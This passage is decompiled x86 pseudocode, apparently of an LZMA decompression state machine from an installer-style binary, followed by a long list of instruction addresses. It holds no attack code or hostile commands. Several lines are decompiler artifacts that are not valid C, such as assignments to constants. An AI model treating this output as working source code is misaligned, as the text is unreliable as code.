                                                                                                        							_v95 =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        							goto L43;
                                                                                                        						case 7:
                                                                                                        							__eflags = _v68 - 1;
                                                                                                        							if(_v68 != 1) {
                                                                                                        								__eax = _v40;
                                                                                                        								_v132 = 0x16;
                                                                                                        								_v36 = _v40;
                                                                                                        								__eax = _v44;
                                                                                                        								_v40 = _v44;
                                                                                                        								__eax = _v48;
                                                                                                        								_v44 = _v48;
                                                                                                        								__eax = 0;
                                                                                                        								__eflags = _v60 - 7;
                                                                                                        								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        								__al = __al & 0x000000fd;
                                                                                                        								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								_v60 = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								__eax = _v8;
                                                                                                        								__eax = _v8 + 0x664;
                                                                                                        								__eflags = __eax;
                                                                                                        								_v92 = __eax;
                                                                                                        								goto L71;
                                                                                                        							}
                                                                                                        							__eax = _v8;
                                                                                                        							__ecx = _v60;
                                                                                                        							_v136 = 8;
                                                                                                        							__esi = _v8 + 0x198 + _v60 * 2;
                                                                                                        							goto L135;
                                                                                                        						case 8:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								__eax = _v8;
                                                                                                        								__ecx = _v60;
                                                                                                        								_v136 = 0xa;
                                                                                                        								__esi = _v8 + 0x1b0 + _v60 * 2;
                                                                                                        							} else {
                                                                                                        								__eax = _v60;
                                                                                                        								__ecx = _v8;
                                                                                                        								__eax = _v60 + 0xf;
                                                                                                        								_v136 = 9;
                                                                                                        								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
                                                                                                        								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
                                                                                                        							}
                                                                                                        							goto L135;
                                                                                                        						case 9:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								goto L92;
                                                                                                        							}
                                                                                                        							__eflags = _v100;
                                                                                                        							if(_v100 == 0) {
                                                                                                        								goto L174;
                                                                                                        							}
                                                                                                        							__eax = 0;
                                                                                                        							__eflags = _v60 - 7;
                                                                                                        							_t264 = _v60 - 7 >= 0;
                                                                                                        							__eflags = _t264;
                                                                                                        							0 | _t264 = _t264 + _t264 + 9;
                                                                                                        							_v60 = _t264 + _t264 + 9;
                                                                                                        							goto L78;
                                                                                                        						case 0xa:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								__eax = _v8;
                                                                                                        								__ecx = _v60;
                                                                                                        								_v136 = 0xb;
                                                                                                        								__esi = _v8 + 0x1c8 + _v60 * 2;
                                                                                                        								goto L135;
                                                                                                        							}
                                                                                                        							__eax = _v44;
                                                                                                        							goto L91;
                                                                                                        						case 0xb:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								__ecx = _v40;
                                                                                                        								__eax = _v36;
                                                                                                        								_v36 = _v40;
                                                                                                        							} else {
                                                                                                        								__eax = _v40;
                                                                                                        							}
                                                                                                        							__ecx = _v44;
                                                                                                        							_v40 = _v44;
                                                                                                        							L91:
                                                                                                        							__ecx = _v48;
                                                                                                        							_v48 = __eax;
                                                                                                        							_v44 = _v48;
                                                                                                        							L92:
                                                                                                        							__eax = _v8;
                                                                                                        							_v132 = 0x15;
                                                                                                        							__eax = _v8 + 0xa68;
                                                                                                        							_v92 = _v8 + 0xa68;
                                                                                                        							goto L71;
                                                                                                        						case 0xc:
                                                                                                        							L102:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0xc;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t340 =  &_v116;
                                                                                                        							 *_t340 = _v116 + 1;
                                                                                                        							__eflags =  *_t340;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							__eax = _v48;
                                                                                                        							goto L104;
                                                                                                        						case 0xd:
                                                                                                        							L39:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0xd;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t127 =  &_v116;
                                                                                                        							 *_t127 = _v116 + 1;
                                                                                                        							__eflags =  *_t127;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							L41:
                                                                                                        							__eax = _v68;
                                                                                                        							__eflags = _v76 - _v68;
                                                                                                        							if(_v76 != _v68) {
                                                                                                        								goto L50;
                                                                                                        							}
                                                                                                        							__eflags = __ebx - 0x100;
                                                                                                        							if(__ebx >= 0x100) {
                                                                                                        								goto L56;
                                                                                                        							}
                                                                                                        							L43:
                                                                                                        							__eax = _v95 & 0x000000ff;
                                                                                                        							_v95 = _v95 << 1;
                                                                                                        							__ecx = _v92;
                                                                                                        							__eax = (_v95 & 0x000000ff) >> 7;
                                                                                                        							_v76 = __eax;
                                                                                                        							__eax = __eax + 1;
                                                                                                        							__eax = __eax << 8;
                                                                                                        							__eax = __eax + __ebx;
                                                                                                        							__esi = _v92 + __eax * 2;
                                                                                                        							_v20 = _v20 >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							_v88 = __esi;
                                                                                                        							__edx = __ax & 0x0000ffff;
                                                                                                        							__ecx = (_v20 >> 0xb) * __edx;
                                                                                                        							__eflags = _v16 - __ecx;
                                                                                                        							if(_v16 >= __ecx) {
                                                                                                        								_v20 = _v20 - __ecx;
                                                                                                        								_v16 = _v16 - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								_v68 = 1;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eflags = __eax;
                                                                                                        								__ebx = __ebx + __ebx + 1;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								_v68 = _v68 & 0x00000000;
                                                                                                        								_v20 = __ecx;
                                                                                                        								0x800 = 0x800 - __edx;
                                                                                                        								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags = _v20 - 0x1000000;
                                                                                                        							_v72 = __ebx;
                                                                                                        							if(_v20 >= 0x1000000) {
                                                                                                        								goto L41;
                                                                                                        							} else {
                                                                                                        								goto L39;
                                                                                                        							}
                                                                                                        						case 0xe:
                                                                                                        							L48:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0xe;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t161 =  &_v116;
                                                                                                        							 *_t161 = _v116 + 1;
                                                                                                        							__eflags =  *_t161;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							while(1) {
                                                                                                        								L50:
                                                                                                        								__eflags = __ebx - 0x100;
                                                                                                        								if(__ebx >= 0x100) {
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eax = _v92;
                                                                                                        								__edx = __ebx + __ebx;
                                                                                                        								__ecx = _v20;
                                                                                                        								__esi = __edx + __eax;
                                                                                                        								__ecx = _v20 >> 0xb;
                                                                                                        								__ax =  *__esi;
                                                                                                        								_v88 = __esi;
                                                                                                        								__edi = __ax & 0x0000ffff;
                                                                                                        								__ecx = (_v20 >> 0xb) * __edi;
                                                                                                        								__eflags = _v16 - __ecx;
                                                                                                        								if(_v16 >= __ecx) {
                                                                                                        									_v20 = _v20 - __ecx;
                                                                                                        									_v16 = _v16 - __ecx;
                                                                                                        									__cx = __ax;
                                                                                                        									_t175 = __edx + 1; // 0x1
                                                                                                        									__ebx = _t175;
                                                                                                        									__cx = __ax >> 5;
                                                                                                        									__eflags = __eax;
                                                                                                        									 *__esi = __ax;
                                                                                                        								} else {
                                                                                                        									_v20 = __ecx;
                                                                                                        									0x800 = 0x800 - __edi;
                                                                                                        									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        									__ebx = __ebx + __ebx;
                                                                                                        									 *__esi = __cx;
                                                                                                        								}
                                                                                                        								__eflags = _v20 - 0x1000000;
                                                                                                        								_v72 = __ebx;
                                                                                                        								if(_v20 >= 0x1000000) {
                                                                                                        									continue;
                                                                                                        								} else {
                                                                                                        									goto L48;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							L56:
                                                                                                        							_t178 =  &_v56;
                                                                                                        							 *_t178 = _v56 & 0x00000000;
                                                                                                        							__eflags =  *_t178;
                                                                                                        							goto L57;
                                                                                                        						case 0xf:
                                                                                                        							L60:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0xf;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t208 =  &_v116;
                                                                                                        							 *_t208 = _v116 + 1;
                                                                                                        							__eflags =  *_t208;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							L62:
                                                                                                        							__eflags = __ebx - 0x100;
                                                                                                        							if(__ebx >= 0x100) {
                                                                                                        								L57:
                                                                                                        								__al = _v72;
                                                                                                        								_v96 = _v72;
                                                                                                        								goto L58;
                                                                                                        							}
                                                                                                        							L63:
                                                                                                        							__eax = _v92;
                                                                                                        							__edx = __ebx + __ebx;
                                                                                                        							__ecx = _v20;
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							__ecx = _v20 >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							_v88 = __esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
                                                                                                        							__ecx = (_v20 >> 0xb) * __edi;
                                                                                                        							__eflags = _v16 - __ecx;
                                                                                                        							if(_v16 >= __ecx) {
                                                                                                        								_v20 = _v20 - __ecx;
                                                                                                        								_v16 = _v16 - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								_t222 = __edx + 1; // 0x1
                                                                                                        								__ebx = _t222;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eflags = __eax;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								_v20 = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags = _v20 - 0x1000000;
                                                                                                        							_v72 = __ebx;
                                                                                                        							if(_v20 >= 0x1000000) {
                                                                                                        								goto L62;
                                                                                                        							} else {
                                                                                                        								goto L60;
                                                                                                        							}
                                                                                                        						case 0x10:
                                                                                                        							L112:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0x10;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t371 =  &_v116;
                                                                                                        							 *_t371 = _v116 + 1;
                                                                                                        							__eflags =  *_t371;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							goto L114;
                                                                                                        						case 0x11:
                                                                                                        							L71:
                                                                                                        							__esi = _v92;
                                                                                                        							_v136 = 0x12;
                                                                                                        							goto L135;
                                                                                                        						case 0x12:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								__eax = _v92;
                                                                                                        								_v136 = 0x13;
                                                                                                        								__esi = _v92 + 2;
                                                                                                        								L135:
                                                                                                        								_v88 = _t626;
                                                                                                        								goto L136;
                                                                                                        							}
                                                                                                        							__eax = _v80;
                                                                                                        							_v52 = _v52 & 0x00000000;
                                                                                                        							__ecx = _v92;
                                                                                                        							__eax = _v80 << 4;
                                                                                                        							__eflags = __eax;
                                                                                                        							__eax = _v92 + __eax + 4;
                                                                                                        							goto L133;
                                                                                                        						case 0x13:
                                                                                                        							__eflags = _v68;
                                                                                                        							if(_v68 != 0) {
                                                                                                        								_t475 =  &_v92;
                                                                                                        								 *_t475 = _v92 + 0x204;
                                                                                                        								__eflags =  *_t475;
                                                                                                        								_v52 = 0x10;
                                                                                                        								_v68 = 8;
                                                                                                        								L147:
                                                                                                        								_v128 = 0x14;
                                                                                                        								goto L148;
                                                                                                        							}
                                                                                                        							__eax = _v80;
                                                                                                        							__ecx = _v92;
                                                                                                        							__eax = _v80 << 4;
                                                                                                        							_v52 = 8;
                                                                                                        							__eax = _v92 + (_v80 << 4) + 0x104;
                                                                                                        							L133:
                                                                                                        							_v92 = __eax;
                                                                                                        							_v68 = 3;
                                                                                                        							goto L147;
                                                                                                        						case 0x14:
                                                                                                        							_v52 = _v52 + __ebx;
                                                                                                        							__eax = _v132;
                                                                                                        							goto L143;
                                                                                                        						case 0x15:
                                                                                                        							__eax = 0;
                                                                                                        							__eflags = _v60 - 7;
                                                                                                        							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        							__al = __al & 0x000000fd;
                                                                                                        							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							_v60 = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							goto L123;
                                                                                                        						case 0x16:
                                                                                                        							__eax = _v52;
                                                                                                        							__eflags = __eax - 4;
                                                                                                        							if(__eax >= 4) {
                                                                                                        								_push(3);
                                                                                                        								_pop(__eax);
                                                                                                        							}
                                                                                                        							__ecx = _v8;
                                                                                                        							_v68 = 6;
                                                                                                        							__eax = __eax << 7;
                                                                                                        							_v128 = 0x19;
                                                                                                        							_v92 = __eax;
                                                                                                        							goto L148;
                                                                                                        						case 0x17:
                                                                                                        							L148:
                                                                                                        							__eax = _v68;
                                                                                                        							_v84 = 1;
                                                                                                        							_v76 = _v68;
                                                                                                        							goto L152;
                                                                                                        						case 0x18:
                                                                                                        							L149:
                                                                                                        							__eflags = _v112;
                                                                                                        							if(_v112 == 0) {
                                                                                                        								_v140 = 0x18;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v116;
                                                                                                        							__eax = _v16;
                                                                                                        							_v20 = _v20 << 8;
                                                                                                        							__ecx =  *_v116 & 0x000000ff;
                                                                                                        							_v112 = _v112 - 1;
                                                                                                        							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							_t490 =  &_v116;
                                                                                                        							 *_t490 = _v116 + 1;
                                                                                                        							__eflags =  *_t490;
                                                                                                        							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
                                                                                                        							L151:
                                                                                                        							_t493 =  &_v76;
                                                                                                        							 *_t493 = _v76 - 1;
                                                                                                        							__eflags =  *_t493;
                                                                                                        							L152:
                                                                                                        							__eflags = _v76;
                                                                                                        							if(_v76 <= 0) {
                                                                                                        								__ecx = _v68;
                                                                                                        								__ebx = _v84;
                                                                                                        								0 = 1;
                                                                                                        								__eax = 1 << __cl;
                                                                                                        								__ebx = _v84 - (1 << __cl);
                                                                                                        								__eax = _v128;
                                                                                                        								_v72 = __ebx;
                                                                                                        								L143:
                                                                                                        								_v140 = _t561;
                                                                                                        								goto L3;
                                                                                                        							}
                                                                                                        							__eax = _v84;
                                                                                                        							_v20 = _v20 >> 0xb;
                                                                                                        							__edx = _v84 + _v84;
                                                                                                        							__eax = _v92;
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							_v88 = __esi;
                                                                                                        							__ax =  *__esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
                                                                                                        							__ecx = (_v20 >> 0xb) * __edi;
                                                                                                        							__eflags = _v16 - __ecx;
                                                                                                        							if(_v16 >= __ecx) {
                                                                                                        								_v20 = _v20 - __ecx;
                                                                                                        								_v16 = _v16 - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__eax = __eax - __ecx;
                                                                                                        								__edx = __edx + 1;
                                                                                                        								__eflags = __edx;
                                                                                                        								 *__esi = __ax;
                                                                                                        								_v84 = __edx;
                                                                                                        							} else {
                                                                                                        								_v20 = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								_v84 = _v84 << 1;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							__eflags = _v20 - 0x1000000;
                                                                                                        							if(_v20 >= 0x1000000) {
                                                                                                        								goto L151;
                                                                                                        							} else {
                                                                                                        								goto L149;
                                                                                                        							}
                                                                                                        						case 0x19:
                                                                                                        							__eflags = __ebx - 4;
                                                                                                        							if(__ebx < 4) {
                                                                                                        								_v48 = __ebx;
                                                                                                        								L122:
                                                                                                        								_t399 =  &_v48;
                                                                                                        								 *_t399 = _v48 + 1;
                                                                                                        								__eflags =  *_t399;
                                                                                                        								L123:
                                                                                                        								__eax = _v48;
                                                                                                        								__eflags = __eax;
                                                                                                        								if(__eax == 0) {
                                                                                                        									_v52 = _v52 | 0xffffffff;
                                                                                                        									goto L173;
                                                                                                        								}
                                                                                                        								__eflags = __eax - _v100;
                                                                                                        								if(__eax > _v100) {
                                                                                                        									goto L174;
                                                                                                        								}
                                                                                                        								_v52 = _v52 + 2;
                                                                                                        								__eax = _v52;
                                                                                                        								_t406 =  &_v100;
                                                                                                        								 *_t406 = _v100 + _v52;
                                                                                                        								__eflags =  *_t406;
                                                                                                        								goto L126;
                                                                                                        							}
                                                                                                        							__ecx = __ebx;
                                                                                                        							__eax = __ebx;
                                                                                                        							__ecx = __ebx >> 1;
                                                                                                        							__eax = __ebx & 0x00000001;
                                                                                                        							__ecx = (__ebx >> 1) - 1;
                                                                                                        							__al = __al | 0x00000002;
                                                                                                        							__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        							__eflags = __ebx - 0xe;
                                                                                                        							_v48 = __eax;
                                                                                                        							if(__ebx >= 0xe) {
                                                                                                        								__ebx = 0;
                                                                                                        								_v76 = __ecx;
                                                                                                        								L105:
                                                                                                        								__eflags = _v76;
                                                                                                        								if(_v76 <= 0) {
                                                                                                        									__eax = __eax + __ebx;
                                                                                                        									_v68 = 4;
                                                                                                        									_v48 = __eax;
                                                                                                        									__eax = _v8;
                                                                                                        									__eax = _v8 + 0x644;
                                                                                                        									__eflags = __eax;
                                                                                                        									L111:
                                                                                                        									__ebx = 0;
                                                                                                        									_v92 = __eax;
                                                                                                        									_v84 = 1;
                                                                                                        									_v72 = 0;
                                                                                                        									_v76 = 0;
                                                                                                        									L115:
                                                                                                        									__eax = _v68;
                                                                                                        									__eflags = _v76 - _v68;
                                                                                                        									if(_v76 >= _v68) {
                                                                                                        										_t397 =  &_v48;
                                                                                                        										 *_t397 = _v48 + __ebx;
                                                                                                        										__eflags =  *_t397;
                                                                                                        										goto L122;
                                                                                                        									}
                                                                                                        									__eax = _v84;
                                                                                                        									_v20 = _v20 >> 0xb;
                                                                                                        									__edi = _v84 + _v84;
                                                                                                        									__eax = _v92;
                                                                                                        									__esi = __edi + __eax;
                                                                                                        									_v88 = __esi;
                                                                                                        									__ax =  *__esi;
                                                                                                        									__ecx = __ax & 0x0000ffff;
                                                                                                        									__edx = (_v20 >> 0xb) * __ecx;
                                                                                                        									__eflags = _v16 - __edx;
                                                                                                        									if(_v16 >= __edx) {
                                                                                                        										__ecx = 0;
                                                                                                        										_v20 = _v20 - __edx;
                                                                                                        										__ecx = 1;
                                                                                                        										_v16 = _v16 - __edx;
                                                                                                        										__ebx = 1;
                                                                                                        										__ecx = _v76;
                                                                                                        										__ebx = 1 << __cl;
                                                                                                        										__ecx = 1 << __cl;
                                                                                                        										__ebx = _v72;
                                                                                                        										__ebx = _v72 | __ecx;
                                                                                                        										__cx = __ax;
                                                                                                        										__cx = __ax >> 5;
                                                                                                        										__eax = __eax - __ecx;
                                                                                                        										__edi = __edi + 1;
                                                                                                        										__eflags = __edi;
                                                                                                        										_v72 = __ebx;
                                                                                                        										 *__esi = __ax;
                                                                                                        										_v84 = __edi;
                                                                                                        									} else {
                                                                                                        										_v20 = __edx;
                                                                                                        										0x800 = 0x800 - __ecx;
                                                                                                        										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        										_v84 = _v84 << 1;
                                                                                                        										 *__esi = __dx;
                                                                                                        									}
                                                                                                        									__eflags = _v20 - 0x1000000;
                                                                                                        									if(_v20 >= 0x1000000) {
                                                                                                        										L114:
                                                                                                        										_t374 =  &_v76;
                                                                                                        										 *_t374 = _v76 + 1;
                                                                                                        										__eflags =  *_t374;
                                                                                                        										goto L115;
                                                                                                        									} else {
                                                                                                        										goto L112;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								__ecx = _v16;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								_v20 = _v20 >> 1;
                                                                                                        								__eflags = _v16 - _v20;
                                                                                                        								_v72 = __ebx;
                                                                                                        								if(_v16 >= _v20) {
                                                                                                        									__ecx = _v20;
                                                                                                        									_v16 = _v16 - _v20;
                                                                                                        									__ebx = __ebx | 0x00000001;
                                                                                                        									__eflags = __ebx;
                                                                                                        									_v72 = __ebx;
                                                                                                        								}
                                                                                                        								__eflags = _v20 - 0x1000000;
                                                                                                        								if(_v20 >= 0x1000000) {
                                                                                                        									L104:
                                                                                                        									_t344 =  &_v76;
                                                                                                        									 *_t344 = _v76 - 1;
                                                                                                        									__eflags =  *_t344;
                                                                                                        									goto L105;
                                                                                                        								} else {
                                                                                                        									goto L102;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__edx = _v8;
                                                                                                        							__eax = __eax - __ebx;
                                                                                                        							_v68 = __ecx;
                                                                                                        							__eax = _v8 + 0x55e + __eax * 2;
                                                                                                        							goto L111;
                                                                                                        						case 0x1a:
                                                                                                        							L58:
                                                                                                        							__eflags = _v104;
                                                                                                        							if(_v104 == 0) {
                                                                                                        								_v140 = 0x1a;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__ecx = _v108;
                                                                                                        							__al = _v96;
                                                                                                        							__edx = _v12;
                                                                                                        							_v100 = _v100 + 1;
                                                                                                        							_v108 = _v108 + 1;
                                                                                                        							_v104 = _v104 - 1;
                                                                                                        							 *_v108 = __al;
                                                                                                        							__ecx = _v24;
                                                                                                        							 *(_v12 + __ecx) = __al;
                                                                                                        							__eax = __ecx + 1;
                                                                                                        							__edx = 0;
                                                                                                        							_t197 = __eax % _v120;
                                                                                                        							__eax = __eax / _v120;
                                                                                                        							__edx = _t197;
                                                                                                        							goto L82;
                                                                                                        						case 0x1b:
                                                                                                        							L78:
                                                                                                        							__eflags = _v104;
                                                                                                        							if(_v104 == 0) {
                                                                                                        								_v140 = 0x1b;
                                                                                                        								goto L173;
                                                                                                        							}
                                                                                                        							__eax = _v24;
                                                                                                        							__eax = _v24 - _v48;
                                                                                                        							__eflags = __eax - _v120;
                                                                                                        							if(__eax >= _v120) {
                                                                                                        								__eax = __eax + _v120;
                                                                                                        								__eflags = __eax;
                                                                                                        							}
                                                                                                        							__edx = _v12;
                                                                                                        							__cl =  *(__edx + __eax);
                                                                                                        							__eax = _v24;
                                                                                                        							_v96 = __cl;
                                                                                                        							 *(__edx + __eax) = __cl;
                                                                                                        							__eax = __eax + 1;
                                                                                                        							__edx = 0;
                                                                                                        							_t280 = __eax % _v120;
                                                                                                        							__eax = __eax / _v120;
                                                                                                        							__edx = _t280;
                                                                                                        							__eax = _v108;
                                                                                                        							_v100 = _v100 + 1;
                                                                                                        							_v108 = _v108 + 1;
                                                                                                        							_t289 =  &_v104;
                                                                                                        							 *_t289 = _v104 - 1;
                                                                                                        							__eflags =  *_t289;
                                                                                                        							 *_v108 = __cl;
                                                                                                        							L82:
                                                                                                        							_v24 = __edx;
                                                                                                        							goto L83;
                                                                                                        						case 0x1c:
                                                                                                        							while(1) {
                                                                                                        								L126:
                                                                                                        								__eflags = _v104;
                                                                                                        								if(_v104 == 0) {
                                                                                                        									break;
                                                                                                        								}
                                                                                                        								__eax = _v24;
                                                                                                        								__eax = _v24 - _v48;
                                                                                                        								__eflags = __eax - _v120;
                                                                                                        								if(__eax >= _v120) {
                                                                                                        									__eax = __eax + _v120;
                                                                                                        									__eflags = __eax;
                                                                                                        								}
                                                                                                        								__edx = _v12;
                                                                                                        								__cl =  *(__edx + __eax);
                                                                                                        								__eax = _v24;
                                                                                                        								_v96 = __cl;
                                                                                                        								 *(__edx + __eax) = __cl;
                                                                                                        								__eax = __eax + 1;
                                                                                                        								__edx = 0;
                                                                                                        								_t420 = __eax % _v120;
                                                                                                        								__eax = __eax / _v120;
                                                                                                        								__edx = _t420;
                                                                                                        								__eax = _v108;
                                                                                                        								_v108 = _v108 + 1;
                                                                                                        								_v104 = _v104 - 1;
                                                                                                        								_v52 = _v52 - 1;
                                                                                                        								__eflags = _v52;
                                                                                                        								 *_v108 = __cl;
                                                                                                        								_v24 = _t420;
                                                                                                        								if(_v52 > 0) {
                                                                                                        									continue;
                                                                                                        								} else {
                                                                                                        									L83:
                                                                                                        									_v140 = 2;
                                                                                                        									goto L3;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							_v140 = 0x1c;
                                                                                                        							L173:
                                                                                                        							_push(0x22);
                                                                                                        							_pop(_t574);
                                                                                                        							memcpy(_v148,  &_v140, _t574 << 2);
                                                                                                        							return 0;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				L174:
                                                                                                        				_t538 = _t537 | 0xffffffff;
                                                                                                        				return _t538;
                                                                                                        			}










































                                                                                                        0x00405f92
                                                                                                        0x00405f99
                                                                                                        0x00405f9f
                                                                                                        0x00405fa5
                                                                                                        0x00000000
                                                                                                        0x00405fa9
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcb
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe0
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602b
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406030
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x00406048
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x0040609f
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a4
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
